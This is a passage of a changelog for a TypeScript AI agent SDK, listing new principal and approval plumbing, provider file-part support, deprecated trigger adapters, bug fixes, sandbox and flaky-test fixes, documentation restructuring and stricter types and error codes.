* Built-in OpenAI, Anthropic and OpenRouter providers send PDF file parts on `ai` 6 and 7 (Anthropic also `text/plain`); `ai` 4 and Ollama keep the text note. A provider subclass opts more media types in with `fileMediaTypes()` (`acceptsFileParts = true` still sends every type). The text-note warning is now once per provider and media type and names the type and the `ai` major. Added `npm run test:live` (`vitest.live.config.ts`) for `*.live.test.ts` files, which the default suite excludes. See docs/providers.md#multimodal-input.
* Principals in tools, approval policies and permissions: the run's principal reaches a tool's `execute(args, ctx)` as `ctx.principal`, `needsApproval` functions (`ApprovalCheckContext.principal`), permission rules' `when(args, ctx)` (`PermissionContext.principal`), `preToolCall` / `postToolCall` hooks (`ToolCallHookContext.principal`), `onPermissionDecision`'s new second argument (`PermissionAuditContext`), pending approvals (`PendingApproval.principal`, seen by `approve` and by a channel's `approvers` function as `request.principal`) and in-process sub-agents (`task`, background tasks, `createDelegateTool()`; `remoteAgent()` does not forward it). New `ExecuteOptions.principal`, set by `createAgent()` for `send()`, `stream()`, session turns and channel turns. It is saved in checkpoints (`Checkpoint.principal`) and approval snapshots (`ExecutionSnapshot.principal`), so a static or dynamic run resumed after an approval or a crash acts for the same caller. `agent.approvals.resolve()` / `answer()` / `streamResolve()` / `streamAnswer()` take `{ principal }` (new `ResolveApprovalOptions`) for who decides, and the approved tool sees it as `ctx.approval.by`; `resumeAfterApproval()` takes it as `executeOptions.approver`. The approvals route (`POST /chat/:sessionId/approvals/:id`) passes the caller route auth accepted, and `mountChannels()` the clicking user (`{ id, type: 'user', authenticator: <channel name> }`) or, for a question answered by a message, its sender. `agent.fork()` keeps the source run's principal; `session.fork()` copies only the conversation. The principal is not added to events, spans or trace files. See [Principals in tools and approvals](/auth#principals-in-tools-and-approvals).

### Deprecated

* `SlackTriggerAdapter`, `CronTriggerAdapter` and `WebhookTriggerAdapter` (`@lousho/build-ai-agent/triggers`) are deprecated and will be removed in a future major version. Use `slackChannel()` for Slack (sessions per thread, approval buttons), `defineSchedule()` with `startSchedules()` for cron (or `schedules/` in an agent directory, or cron triggers in a spec file), and `webhookChannel()` for webhooks, each mounted with `mountChannels()`. `verifySlackSignature()`, the `WebhookAuth` helpers, `parseCronExpression()`, `TriggerAdapter` and `TriggerRegistry` are not deprecated. Their options types (`SlackTriggerAdapterOptions`, `CronTriggerAdapterOptions` with `CronIntervalOptions` and `CronExpressionOptions`, `WebhookTriggerAdapterOptions`) and `WebhookTriggerHandle` carry `@deprecated` too. Nothing changes at run time. See docs/triggers.md.

### Fixed

* `lousho` CLI surface: `lousho dev`/`lousho chat --traces` now writes traces for a `.ts`/`.js` module that exports an already-built `createAgent()` agent - the module's export could not take the flag's exporter after the fact, so nothing was written. `createAgent()` remembers the config it was built with (readable via the internal `createAgentConfigOf()`), and the loader rebuilds the agent with the flag's exporter (the module's own `exporter` is replaced while the flag is set; a module exporting an agent not made by `createAgent()` prints a warning and keeps its own). A spec path that does not exist (e.g. `lousho chat missing.yaml`) now fails with the coded `LOUSHO_SPEC_NOT_FOUND` instead of a raw ENOENT. `lousho add --dry-run` no longer fails when a target file already exists; it prints the file list with an "(exists - a real install needs --overwrite)" marker and exits 0 (the symlink checks still run). Top-level `lousho --help` lists the implemented flags again: `--no-schedules`/`--traces` on `dev` and `chat`, `eval`'s record/replay/drift/`--config` flags, `init`'s `--sdk-path`, and `build`'s positional form.
* A cassette failure keeps its type through `agent.send()`: a replay mismatch (or a missing cassette raised by the provider-interception seam that `lousho eval` installs) was compacted into a generic `CompactedLLMProviderError`, losing the cassette path, the call number and the re-record hint. `CassetteMismatchError` is now an `SDKError` with code `LOUSHO_CASSETTE_INVALID` (docs/errors.md already claimed cassette errors carry it), and the run loop rethrows cassette errors untouched instead of compacting them, so `send()` rejects with the `CassetteMismatchError` itself (`.cassette`, `.callNumber`). `setProviderInterceptor()` and the `ProviderInterceptor` type are now exported from `@lousho/build-ai-agent/testing`, the public entry for the model-boundary seam docs/evals.md describes.
* A tool call approved with `agent.approvals.resolve()` (or `resumeAfterApproval()`) now has its `execute_tool` span. It ran before the continued run started, outside any span, so OpenTelemetry and `fileTraceExporter()` showed the continued run's `invoke_agent` and `chat` spans but not the approved tool. The continued run's `invoke_agent` span now opens first and the approved call runs inside it: its `execute_tool` span is a child of it (a `run_code` call's inner calls and a sub-agent the tool starts are children of the tool span), with the same `captureContent` / `redactContent` rules as any tool span, and no span is made for a rejected call. A pause that happens again (sign-in) leaves the `invoke_agent` span with the tool span and no `chat`.
* A tool that returns `undefined` (or an async generator that yields nothing) no longer writes a `tool` message with `content: undefined` into the transcript. Its result is now `null` everywhere: the transcript and the next model request carry `"null"`, and `tool.done`, approval resumes, `run_code` and flows see `null`. Providers, session stores and checkpoints get a valid string.
* `recordReplay` matches a tool's parameter schema the same way under zod 3 and zod 4. A zod 4 schema was fingerprinted from its JSON Schema (with `$schema`, `required`, `additionalProperties`) while a zod 3 one, and so every recorded cassette, used a fingerprint of the schema itself, so cassettes recorded with zod 3 failed to replay with zod 4 installed (the CI `peers` jobs `ai4-zod4`, `ai6-zod4` and `ai7-zod4` failed on every replay test). Both now give the same fingerprint for the same schema; existing cassettes stay valid and need no re-recording, and a real change to a tool's parameters still fails the match.
* Parallel `task` calls now get their `taskId`s, and background tasks start, in call order: allocating an id awaited a SHA-256 digest whose completion order is not fixed, so with `maxConcurrent: 1` the second task could take the slot first (#296, the flaky "queues tasks beyond maxConcurrent" test).
* `SubprocessSandbox.run()` no longer fails with HTTP 404 "no such container" for a command that exits at once: the container is `AutoRemove`d, and `wait()` was only called after `start()`, so a fast command could be gone by then (10 of 40 parallel `true` runs failed on Docker Desktop). It now begins `wait({ condition: 'next-exit' })` before `start()`, and removes the container if `start()` itself fails.
* The `cloudflare-worker` build's Node-builtin leak check now accepts the runtime-guarded `loadNodeModule("node:module" | "node:dns")` probes that `@ai-sdk/provider-utils` 4 (installed with `ai` 6) uses, as it already did for `ai` 7's `loadBuiltinModule`; without it a Worker bundle built on `ai` 6 failed with "Node builtins leaked" (found by the new `ai6` matrix entries).
* `isAgentEvent()` is now exhaustive (the runtime type list is a `Record<AgentEventType, true>`, so the compiler rejects a missing type). It had no `agent.drift`, so remote UI clients (`parseEventStream()`, the React, Vue and Svelte bindings) silently dropped that event.
* A remote sub-agent's token usage is added to the lead's `result.usage`. It was dropped, so budgets and cost reports undercounted delegation to a `remoteAgent()`. The lead adds what the remote agent reports on its `run.done` event to its totals, to `usage.delegated` and to `byModel['remote:<name>']`, which keeps the remote's own `costUsd` (the lead's `costUsd` is `undefined` when the remote sends none). A remote run that pauses for an approval adds what it spent up to the pause, and the continuation adds only what it spent after it; background remote tasks roll up the same way. A deployment that sends no usage adds nothing. `RemoteRunOptions` has a new optional `onUsage(usage)` callback; `RemoteSubagent.run()` still returns `Promise<string>`, so hand-written ones compile unchanged. See docs/sub-agents.md#remote-sub-agents.
* `lousho studio` finds the Agent Forge build that ships inside the installed package when it is run from a project that does not have `apps/agent-forge` (it used to fail with "could not find apps/agent-forge" everywhere except the SDK repo). A project's own `apps/agent-forge` still wins, and `.lousho/` is still created in the directory you ran it from. `--dev` from an installed package still needs the TypeScript source and says so.
* Documentation corrections: install commands, CLI command lists, optional peers, durable execution and compaction descriptions, the Status section, reasoning and file-part notes in the providers guide, and the `KVStore` note in the deployment guide now match the code. Ticket ids are gone from user-facing prose.

### Tests

* Two more load-sensitive tests fixed. `SandboxShell.test.ts` "passes only set values and allowed host names, never planted secrets" starts two real `node -e` processes and timed out at the 5 s default in 1 of 20 parallel runs; it has a 30 s timeout now (pure slowness, no race: it passes in under a second alone). `backgroundSubagents.test.ts` "reports a sub-agent paused for approval as awaiting-approval" waited a fixed 10 ms for the child's pause and failed in 9 of 20 parallel runs with the task still `running`; the lead now asks `agent_status` again until the task has left `running`.
* `http.test.ts` "rejects near the configured timeout" no longer compares real elapsed time to a real timeout (flaky under load, #324): it drives the request timer with a fake clock and checks the request is still pending at 499 ms, rejects with "timed out after 500ms" at 500 ms, and that the connection is closed.
* `src/tools/workspace/checkpoints.node.test.ts` "rewinds three turns" has a 30 s timeout: it takes well under a second alone, but timed out at the 5 s default when eight copies of the suite ran at once. The rewind itself is correct; every failure was the timeout.
* Live-model cassettes recorded: real gpt-4o-mini runs through OpenRouter are now replayed in CI with no key, for the coding agent in the docs, the Telegram, GitHub and Teams channels, plan mode, `web_fetch`, streaming `send()`, the guardrail starter set, `fromAiSdk()` and PDF/PNG file parts, plus a recorded `lousho traces` fixture. The live files that never ran (`sendStreams`, `guardrailStarterSet`, `fileTraceExporter`, `remoteUsage`) were missing the `import '../providers'` that registers OpenRouter; fixed. New live tests (skipped without a key): ai 6 through OpenRouter and `aiSdkEmbedder()` over OpenRouter embeddings.
* `pack-smoke` allows a 16 MiB unpacked tarball (was 14 MiB): `main` was 45 KB under the old cap and permission modes went over it; see #316 for shrinking the package instead.
* Sandbox egress and the credential broker are tested against a real Docker Engine: a new CI workflow, "Docker Engine" (`.github/workflows/docker.yml`, on pull requests touching the sandbox, broker or docker deploy adapter, on demand and weekly), runs `npm run test:docker` on GitHub's `ubuntu-latest` runner (rootful Engine 28.0.4). `src/security/sandboxEgress.docker.test.ts` checks nine cases of `SubprocessSandbox({ network: { allow }, broker })` with `curlimages/curl`: an allowed HTTPS host answers through the broker, another host gets a 403, bypassing the proxy and raw IPs have no route, outside names do not resolve, the broker injects a credential the container never sees, a container outside the internal network cannot use the gateway listener, an aborted run and `close()` leave no container or network, and a reused non-internal network is refused. The docker deploy image test (`/health` and `/chat`) moved to `src/deploy/adapters/docker.docker.test.ts` and runs in the same job; it was skipped in CI before and passes there. No product defect was found. `*.docker.test.ts` files are excluded from `npm test` and `npm run test:coverage`; they skip without a daemon unless `LOUSHO_DOCKER_TESTS=1` is set (the workflow sets it), which makes a missing daemon fail. docs/workspace-tools.md says what the job checks; CONTRIBUTING.md mentions `npm run test:docker`.
* `src/execution/principal.test.ts` and `principal.test-d.ts`: the principal in tools (send, stream, session and channel turns), policies, rules, hooks and sub-agents (local, background, remote), pause and resume with another approver, a restart, a crash resume on an on-disk `SqliteStore`, old checkpoints and snapshots, forks, the approvals route and channel clicks; frozen in strict mode; absent from events and spans.
* Test files can be type-checked: `npm run typecheck:tests` runs `tsc` over `src/` including every `*.test.ts` through the new `tsconfig.tests.json`, and the test files under `src/execution`, `src/context`, `src/session`, `src/subagents`, `src/acp` and `src/testing` now pass it. The check is not in CI yet. One type change: `textOf()` also accepts a message or content whose parts are `readonly`, such as a `mockModel` request snapshot.

### Docs

* The `vendor/` model prefix note: every docs page whose snippets hardcode a `provider/model` string now says the prefix chooses the provider and that with OpenRouter the id is `openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o-mini`), so `createAgent()` does not throw `LOUSHO_PROVIDER_MISSING_API_KEY` when only `OPENROUTER_API_KEY` is set. Stale model ids refreshed: `anthropic/claude-3-5-haiku-latest` examples are now `anthropic/claude-haiku-4-5`, `'anthropic/claude-3-5-sonnet-latest'` in errors.md is `'anthropic/claude-sonnet-4-5'`, `google('gemini-2.0-flash')` is `google('gemini-2.5-flash')` and the OpenRouter fallback example uses `openrouter/meta-llama/llama-3.3-70b-instruct`. (`anthropic/claude-3-5-sonnet-latest` stays where it documents the `ANTHROPIC_API_KEY` env default, which is still that id in `src/providers/providerSpec.ts`.)
* Corrections in [Errors](/errors), [Troubleshooting](/troubleshooting) and [Testing](/testing): not every intentional error is an `SDKError` (the named `Error` subclasses — `PropagatingToolError`, `CassetteMismatchError`, `CronExpressionError`, `DecryptionError` — carry no `code`); the `Find a code by area` table now lists the `Auth` section and every code that has one; `LOUSHO_CASSETTE_INVALID` no longer claims to cover request mismatches (that is `CassetteMismatchError`), and its example uses `webhookChannel()` rather than a `webhookTrigger()` that does not exist; `createAgent()`'s default retry is documented as applying only to model strings and env-resolved models, not a `provider` instance; the file-parts entry now matches providers.md (PDFs and `text/plain` do reach providers on `ai` 6/7); `connectMcp().status()` lists `'needs-auth'`; the `mockModel` `usage` default is "none reported" (the run estimates it) rather than zero; and the request-assertion snippet notes where `temperature` comes from, since `createAgent()` has no `temperature` option.
* [Stream events](/stream-events) gains the missing `agent.drift` row (emitted on a resume under `onAgentDrift: 'warn'`, before the continuation's first step) and the fields the table understated: `executedBy: 'provider'` on `tool.start` / `tool.done` / `tool.error` (hosted tools), `replacedByHook` on `tool.done`, `hook` on `permission.decision`, `trigger: 'manual'` on `compaction.start` / `compaction.done`, and the full `usage` shape (`inputTokens` / `outputTokens`, `estimated`, `costUsd`, and `modelCalls` / `hostedToolCalls` on `run.done`). The ordering guarantees now say that a streamed approval continuation reports `agent.drift` and the decided call's `tool.start` / `tool.done` before its first `step.start`, so those events fall outside a step. [Runs](/runs) uses the canonical event names `tool.start` / `tool.done` / `run.done` instead of the deprecated `tool-call` / `tool-result` / `finish`, and [Testing](/testing) no longer claims a `mockModel` turn without `usage` reports zeros (it reports none).
* Long-tail corrections across the guides: `lousho eval --config`, `lousho init`'s `InitUsageError` and `-y`, `.cts` among the dev-server module extensions and streamed approval continuations in docs/cli.md; `lousho build --target=...` (not `lousho deploy`) and the public `createRouteHandler().handler` (not the internal `serveFetch()`) in docs/sub-agents.md; `description` as a `createAgent()` option and `createDeployedServer()` as build-internal in docs/agent-directories.md, docs/channels.md and docs/schedules.md; approval continuations on Workers emit `tool.start` / `tool.done`, `deploy-runtime-worker` is bundler-internal and `handleScheduled` needs a store in docs/cloudflare-workers.md; `schedule-<name>` sessions, `checkpoint-history/` and the late-appearing `approvals/` directory in docs/schedules.md and docs/sessions.md; `saveAttachment`/`readAttachment` signatures in docs/utilities.md; 256-bit OAuth state in docs/oauth.md; the `recall_<name>` description's `<name>` in docs/memory.md; `ctx.sessionId` in docs/tools.md; the `throw` flow node in docs/flows.md; the `triggers` spec field in docs/configuration.md; `principal` in a permission rule's `when` in docs/approvals.md; the `'not-a-file'` rewind skip and `NodeWorkspace`'s required `root` in docs/workspace-tools.md; a built-in channel's `name` setting its route in docs/channels.md; the `completed()` 'max-steps' message in docs/evals.md; `formatUsage`'s `$0.0000` in docs/models-and-cost.md; the completed registry static-check list and the leading letter/digit name rule in docs/registry.md; `exporter`, `captureContent` and `redactContent` as `createAgent()` options in docs/migrating-to-create-agent.md; `connectMcp().tools` as a `Record` that combines with array tools in docs/mcp.md; `HookRegistry.size()` as a method in docs/hooks.md; `*.example.com` matching subdomains only in docs/tools.md, docs/workspace-tools.md and docs/registry.md; `resumeAfterApproval()` named as an export, not an executor method, and the fork `divergedAt` comment corrected in docs/durable-execution.md.
* New page, [Permission modes](/permission-modes): the modes and their table, which tools are read-only, the `editsFiles` marker, the order of evaluation, switching, the audit log, sub-agents and resume. [Approvals](/approvals) "Permission policies" links to it; [Tools](/tools), [Stream events](/stream-events) and [Sub-agents](/sub-agents) ("What a sub-agent inherits") gained a row each.
* New page, [Route auth and principals](/auth): the ordered list and its three outcomes, each helper, 401 / 403 / `WWW-Authenticate`, which helpers run where (Node, Workers, edge), `createRouteHandler`, the node server and `auth.ts`, reading the principal in the run, and security notes (no session ownership check; `basic()` only over HTTPS). docs/errors.md gains a `## Auth` section at the end (`LOUSHO_AUTH_CONFIG_INVALID`). One-paragraph links from deployment.md (`### Auth`), nextjs.md (`## Routes`), memory.md (`## Scopes`), agent-directories.md (layout and deploy), api-overview\.md and a "Route auth" row in the cloudflare-workers.md limits table; no heading of an existing page changed.
* New page, [Cloudflare Workers](/cloudflare-workers): a table of what the Worker target supports and what it does not comes first, then build and deploy, bindings, sessions, checkpoints and approvals in KV, scheduled runs, consistency, and bundle size and Node builtins. The Worker sections moved out of docs/deployment.md unchanged (`Bindings, sessions and the API on Workers`, `Cron triggers and handleScheduled` and `Durable execution (pause/resume) on Workers` are gone from it); deployment.md keeps a short `cloudflare-worker` summary that links to the page. Links to `deployment.md#cron-triggers-and-handlescheduled` moved to `cloudflare-workers.md#scheduled-runs`.
* Two dead heading links fixed: docs/executor-api.md now links to `tools.md#advanced-toolregistry`, and docs/troubleshooting.md links to `mcp.md#use-mcp-servers-in-an-agent` (the configuration anchor moved with the MCP section). No other link in `docs/` or the README points to a missing heading. docs/approvals.md lists `fileStore(dir)` among the approval stores.
* Long pages split; text moved unchanged. New pages: [Runs](/runs), [Models and cost](/models-and-cost), [Stream events](/stream-events), [Queued input and steering](/queue-and-steer). Moved anchors (old to new): `api-overview.md#finish-reasons`, `#cancellation` and `#parallel-tool-calls` to `runs.md` (same anchors); `api-overview.md#models-tokens-and-cost` to `models-and-cost.md#models-and-the-price-table`; `api-overview.md#usage-and-cost-of-a-run` to `models-and-cost.md#usage-and-cost-of-a-run`; `api-overview.md#flow-expressions` to `flows.md#flow-expressions`; `api-overview.md#todo-tools` to `tools.md#todo-tools`; `api-overview.md#tool-errors` to `tools.md#errors`; `api-overview.md#context-compaction` to `compaction.md`; `streaming.md#event-schema-version-1`, `#ordering-guarantees`, `#typescript` and `#versioning` to `stream-events.md` (same anchors); `streaming.md#queued-input` and `#steering` to `queue-and-steer.md` (same anchors); the `AgentExecutor.execute()` options table of `configuration.md` to `executor-api.md#options-of-agentexecutorexecute`. The error codes page gained a "Find a code by area" table; its headings are unchanged.
* The API overview, providers, structured output, tools, tracing, guardrails and testing guides teach `createAgent()` first: usage and multimodal examples use it, the testing tool example uses `defineTool()`, and every executor, `AgentBuilder` or `ToolRegistry` snippet sits under an "Advanced" heading that links to [the executor API](/executor-api). They say that `createAgent()` does not take `exporter`, `captureContent` or `sandbox` yet.
* New page, [Triggers](/triggers): the `@lousho/build-ai-agent/triggers` adapters, a table that says when to use triggers, channels or schedules, the `TriggerAdapter` interface (with a custom adapter and `TriggerRegistry`), and the webhook, Slack and cron sections that moved from the API overview, unchanged. The API overview now points to it; links to `api-overview.md#triggers`, `#webhook-authentication` and `#slack-request-signatures` moved to `triggers.md`. The missing-`auth` warning of `WebhookTriggerAdapter` and the missing-`signingSecret` warning of `SlackTriggerAdapter` now link to `docs/triggers.md`.
* New page docs/migrating-to-create-agent.md: from `AgentBuilder`, `AgentExecutor`, `ToolRegistry` and `resumeAfterApproval()` to `createAgent()`, with a before-and-after example, a mapping table, the `ExecuteOptions` that `createAgent()` does not take yet (with alternatives), the behavior differences and a step-by-step checklist. Linked from docs/executor-api.md and the README docs table.
* New page, [Hooks](/hooks): the four hook points, the outcomes of a `preToolCall` / `postToolCall` hook, four type-checked recipes (deny a tool, add a default argument, redact a result, inject context), ordering, and `HookRegistry`. The `HookRegistry` bullet and the `### Hook outcomes` section moved there from the API overview, which now points to it; links to `api-overview.md#hook-outcomes` moved to `hooks.md#hook-outcomes`.
* Approvals, sessions, streaming, sub-agents, compaction and skills guides show `createAgent()` first. Executor snippets (`AgentExecutor`, `resumeAfterApproval`, `streamResumeAfterApproval`, `InputQueue`, `HookRegistry`) moved under headings named "Advanced: the executor API" (links to docs/executor-api.md); `approvals` and `streaming` renamed a section to that name. `createAgent({ hooks: [createCompactionHook(...)] })` is the compaction example. Removed a statement from the sub-agents guide that `createAgent()` takes no `approvalStore` (it does, and `agent.approvals` resolves sub-agent pauses).
* Stale statements removed: ticket ids in the Agent Forge page, the "removed next minor" promise on `AgentType` in the API overview, and the installation note that read as if every user needs Node 22.19 for the `http` tool (it comes from the `undici@8` dependency, which is loaded only for `validateSSL: false` requests). The `ProposedAction` doc comment no longer refers to an unlanded ticket.
* New page docs/mcp.md, "MCP (Model Context Protocol)": using MCP servers in an agent, `connectMcp()`, approval for MCP tools, `loadMcpTools()`, serving an agent with `serveMcp()` and `lousho mcp`, and a Limits list. These sections moved out of docs/configuration.md, which keeps the `mcpServers` spec field and links to the new page; links from approvals, CLI, tools, API overview and the README now point to `mcp.md`.
* `docs/durable-execution.md` and `docs/workspace-tools.md` lead with `createAgent()` (`send()` with a `sessionId`, `agent.resume()`, `agent.approvals.resolve()`, `agent.fork()`) instead of `AgentExecutor`. The executor snippets (`execute()` with a `checkpointStore`, `resumeAfterApproval()`, `AgentExecutor.fork()`, the `ToolRegistry` setup) moved under "Advanced: the executor API". In durable-execution the heading "What happens when you call `execute()` again with the same `sessionId`" is now "What happens when you send again with the same `sessionId`".
* New page docs/troubleshooting.md: start from the symptom (setup, runs that end without an answer, tools, providers, sandbox and MCP), with cause, fix and a link for each. README docs table, `docs/installation.md` and `docs/errors.md` link to it.
* New guide, [Build a coding agent](/build-a-coding-agent): a terminal coding agent in six steps (workspace tools confined to the project, approval before writes and risky commands, a streamed UI that handles the approval pause, a session for follow-up questions, offline tests with `MemoryWorkspace` and `mockModel`), with an offline test of the same agent (`docs/buildACodingAgent.test.ts`; its replay of a recorded real-model run is skipped until the cassette `docs/__cassettes__/build-a-coding-agent.json` is recorded).
* The Quick Start is rewritten around `createAgent()`: hello world, a tool, streaming, a session, an approval, an offline test with `mockModel`, a custom provider and spec files, each runnable with no API key (the first excepted). The `AgentBuilder` + `AgentExecutor` section moved to a new page, docs/executor-api.md (with the `ToolRegistry` note); the Quick Start no longer shows either API.
* `create-lousho-agent` has a README (its npm page was empty) and `license`, `homepage` and `repository` fields; they appear on npm with its next release. `lousho init --help` no longer says `--sdk-path` is needed until the package is on npm.
* docs/auth.md gains a section at its end, `## Principals in tools and approvals` (with `### In a tool`, `### Approval policies and permission rules`, `### Who approved`, `### Pauses, crashes and forks`, `### Sub-agents`, `### What is stored and logged`); its "Reading the principal in the run" and "Security notes" text is updated. One-sentence links, no new headings: docs/approvals.md (`needsApproval` context, `approve`), docs/tools.md (`ctx.principal` and `ctx.approval` rows), docs/permission-modes.md (the audit log) and docs/channels.md (`approvers`).
* UI and server examples corrected: docs/ai-sdk-ui.md's client snippet used `useChat({ api: '/api/chat' })`, the `ai` 4 signature, which is invalid for the documented `ai` 6/7 combos — it now uses `useChat({ transport: new DefaultChatTransport({ api }) })` and a note says which `ai` majors are supported (`ai` 4 keeps `useChat({ api })` and returns `input` / `handleInputChange` / `handleSubmit`; `ai` 5 is not in the peer range). docs/nextjs.md's `useChat` snippet has the same version note. The route handlers of ai-sdk-ui.md and nextjs.md opened `agent.session({ id })` per request with no `store`, so a second turn forgot the first: both now pass `store: memoryStore()` and say to use a durable store on serverless; docs/react.md's server section says the same for a per-request session. The `data-lousho-approval` part no longer reads as if `kind` / `question` only mark an `ask_question`: a tool waiting on an OAuth sign-in carries `kind: 'sign-in'` and `signIn: { provider, displayName?, url }`; docs/react.md's `pendingApproval` row says the same.

## \[1.0.0-alpha.8] - 2026-10-02

### Changed

* No `any` left in the SDK's types: `npm run lint` now fails on any ESLint warning, and `no-explicit-any`, `no-unused-vars` and `ban-ts-comment` are errors. Runtime behavior is unchanged; some exported types are stricter, which can be a compile error where code read an `any` value without checking it. What changed, and how to migrate:
  * Values the SDK cannot know are `unknown` (narrow them, or cast to the shape you expect): `FlowExecutionResult.output` and `.variables`, `FlowExecutionContext.variables` / `session` / `memory`, `GenerateResult.rawResponse`, `StreamChunk.toolResult.result`, extra keys of `LLMProviderConfig`, `AgentConfig.expectedResult` / `events` / `metadata`, `AgentExecutionResult.result`, `ResultData.result`, `SessionData.data`, `JiraTicket.customFields`, the extra keys of `formatZodError()`'s result, `ToolConfiguration.options`, `ToolSetting.options`, `FlowToolSetting.options`, `ToolNode.toolOptions`, `UIComponentNode.componentProps`, `FlowChunkEvent.issues` / `input` / `toolResults[].args` / `componentProps`, and `ToolDefinition.function.parameters`.
  * `FlowExecutionEvent` is a union discriminated on `type`, with `data` typed per event type (new `FlowExecutionEventOf<T>` and `FlowExecutionEventDataMap`): check `event.type` before reading `event.data` (`if (event.type === 'tool-call') event.data?.tool`).
  * `AgentConfig.settings` (and `AgentBuilder.setSettings()`) is the new `AgentSettings` (`{ model?: string; [key: string]: unknown }`).
  * `StorageService.readPlainJSONAttachment<T>()` (and `IStorageService`'s) defaults `T` to `unknown`: pass the type you stored, `readPlainJSONAttachment<MyRecord>(key)`.
  * `OpenRouterProvider.getModelInfo()` returns the new `OpenRouterModel` (`{ id: string; [key: string]: unknown }`), `null` or `undefined`.
  * `FlowBuilder.addAgent()` / `setAgents()` take `FlowAgentDefinition`; `injectVariables()` and `applyInputTransformation()` take a `FlowDefinitionNode` (`injectVariables()` returns the type it was given); `validateFlowInput()` takes `Record<string, unknown>`; `validateAgentTools()` takes `Record<string, { tool?: unknown }>`; `createDynamicZodSchemaForInputs()` returns `z.ZodObject<Record<string, z.ZodTypeAny>>`.
  * Still accepted as before: `needsApproval` predicates typed for a tool's own arguments, any argument to `formatAxiosError()` and `hasRequiredKeys()`, and anything as `writePlainJSONAttachment()` data. The deprecated `ExecutionEvent` keeps `toolResult.result: any`.
* Eval cassettes hook in at the model boundary: `lousho eval --record / --replay / --drift` no longer reassigns `AgentExecutor.execute` at runtime. The run loop routes every model call through a small provider-interception seam (`setProviderInterceptor()` / `interceptProvider()` in `src/providers/interception.ts`; a no-op unless an interceptor is installed), and the eval runner installs one that answers with the per-case `recordReplay()` wrapper. Cassette files, keying, `--drift` output and JUnit reports are unchanged, so existing cassettes keep replaying. Streamed runs and sub-agents inside an eval case are covered by tests.
* More errors carry SDK error codes: the plain `Error`s thrown by `src/execution` (`historyLimit`, `toolConcurrency`, a second iteration of an `AgentRun`), the tool registry, the built-in tools, `serveMcp()`, `NodeWorkspace` and the `lousho init` / `studio` / chat helpers are now `SDKError`s with an existing code (`LOUSHO_CONFIG_INVALID` via `ConfigurationError`, `LOUSHO_RUN_ALREADY_ITERATED`, `LOUSHO_APPROVAL_NOT_FOUND`, `LOUSHO_PROVIDER_UNKNOWN`, `LOUSHO_TOOL_EXECUTION_FAILED`). Messages are unchanged; `error.code`, `error.hint` and a `[code] hint (docs)` line (not on the built-in tools' run-time failures, whose message is the model-visible tool result) are added. Code that matched `error.constructor === Error` or `error.name === 'Error'` needs `error instanceof SDKError`.
* The remaining user-reachable plain `Error`s carry SDK error codes: agent directories, flows, memory, skills, storage (SQLite), triggers, deploy, evals, record/replay cassettes, `defineTool()`, sub-agent options, channels, sandbox/credential-broker options and the `llm` registry now throw an `SDKError` (message text unchanged, plus the `[code] hint (docs)` line, except for tool results and messages tests assert, which stay as written). New codes: `LOUSHO_TOOL_ARGS_INVALID` (what `ToolArgumentsValidationError` carries now), `LOUSHO_AGENT_DIR_INVALID`, `LOUSHO_SKILL_INVALID`, `LOUSHO_FLOW_INVALID`, `LOUSHO_STORAGE_FAILED`, `LOUSHO_TRIGGER_INVALID`, `LOUSHO_DEPLOY_FAILED`, `LOUSHO_EVALS_INVALID`, `LOUSHO_TEST_FAILED`, `LOUSHO_CASSETTE_INVALID` and `LOUSHO_CHANNEL_REQUEST_FAILED`, all in `docs/errors.md`. Code that matched these errors by `error.constructor === Error` or `error.name === 'Error'` must check `instanceof SDKError` / `error.code` instead. `ToolExecutionError` takes an optional fourth `code` argument. A new test (`src/utils/plainErrors.test.ts`) fails when new SDK code throws a plain `Error`; the 5 that remain are listed there with the reason.
* The last two allowlisted plain `Error`s are `SDKError`s: OpenRouter's model-catalog fetch (`LOUSHO_PROVIDER_REQUEST_FAILED`; `getModels()` / `getModelInfo()` still catch it and fall back) and the UI runner's failed `POST` to a remote agent (`LOUSHO_REMOTE_REQUEST_FAILED`, as used by `useLoushoAgent()` and the Vue/Svelte bindings). Both keep their message text exactly (no help line appended), so the UI's error event shows the same message, now with `name: 'SDKError'` instead of `'Error'`. `SDKError` itself moved to `src/utils/sdkError.ts` (re-exported from the same places as before) so the browser entries can throw it without importing `ai`. The allowlist in `src/utils/plainErrors.test.ts` is down to the 3 intended sites.
* zod 3 or zod 4: the `zod` peer is now `^3.25.76 || ^4.0.0`. Schemas of either major (including `zod/v4` on zod 3.25 and `zod/v3` on zod 4) work in `defineTool({ input })`, structured `output` and argument validation: zod 4 schemas are sent to the model as `z.toJSONSchema` output (also to `ai` v4, whose own converter only reads zod 3), zod 3 schemas through the `ai` SDK's converter as before, and both are parsed with their own `safeParse`. `defineTool` also takes any Standard Schema that exposes `~standard.jsonSchema`; tool arguments validate with any Standard Schema's `~standard.validate`. The SDK's own schemas (AgentSpec, registry documents, built-in tools, MCP tool conversion) run on whichever major is installed, and issue messages read the same on both (zod 4's `Invalid input: expected string, received undefined` is reported as `Required`). `lousho init` keeps zod 3 for the `ai` 4 scaffold (Ollama), whose packages peer on zod 3. Ollama on `ai` 6/7 (`ollama-ai-provider-v2`, which peers on zod 4) is no longer blocked by the SDK's zod peer. CI runs the type check, build and suite on zod 4 too. Migration: `DefineToolOptions`, `DefinedTool` and `ToolDescriptor.inputSchema` are typed with the new exported `StandardSchemaV1` (parsed type: `InferSchemaOutput`) instead of zod 3's `ZodTypeAny`; code that called zod methods on `descriptor.inputSchema` needs a cast. The `task` tool's error for an unknown sub-agent now reads `Unknown sub-agent "x". Expected one of: 'a', 'b'`. `createAgent({ output })` is still typed with the installed major's `ZodType`.
* Slack and Discord approvals are starter-only by default (behaviour change): without `approvers`, only the user who started the turn (the Slack message author, the Discord command's user) can approve or deny a tool call; before, anyone who could see the message could. Migration: pass `approvers: () => true` for the old behaviour, or a list of user ids / a function for a team. Approval button values (Slack) and custom ids (Discord) now carry the starter (`<starter>:<approval id>`), so buttons posted before the upgrade carry no starter and only an `approvers` list or function can approve them.
* Package entries share one copy of each module: tsup code splitting is on, so `@lousho/build-ai-agent`, `/hooks`, `/tools`, `/mcp` and the rest import shared chunks instead of each bundling their own copy. `HookRegistry`, `SDKError` and module-level registries are now the same object across entries (they were duplicated, so `instanceof` and singletons could disagree), and `dist/` shrinks from about 25 MB to 8.8 MB. `instanceof SDKError` and `instanceof HookRegistry` also hold between the ESM and CJS copies a mixed-format process loads (a `Symbol.for` brand). See [Installation](/installation#entry-points-share-code-esm-and-cjs).
